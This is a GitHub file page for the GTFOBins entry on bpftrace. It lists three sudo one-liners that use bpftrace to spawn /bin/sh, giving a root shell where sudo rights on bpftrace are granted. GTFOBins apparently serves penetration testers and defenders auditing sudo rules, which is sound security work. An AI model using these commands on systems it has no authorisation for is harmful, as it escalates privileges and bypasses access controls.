GTFOBins.github.io/_gtfobins/bpftrace.md at 390c49394a972fac96ed3475d0fe36bf52eaa266

Files

Andrea Cardaci 1f9dbbf6eb Improve bpftrace sudo shell

2020-01-03 14:11:37 +01:00

functions

sudo

code
sudo bpftrace -e 'BEGIN {system("/bin/sh");exit()}'

code
TF=$(mktemp) echo 'BEGIN {system("/bin/sh");exit()}' >$TF sudo bpftrace $TF

code
sudo bpftrace -c /bin/sh -e 'END {exit()}'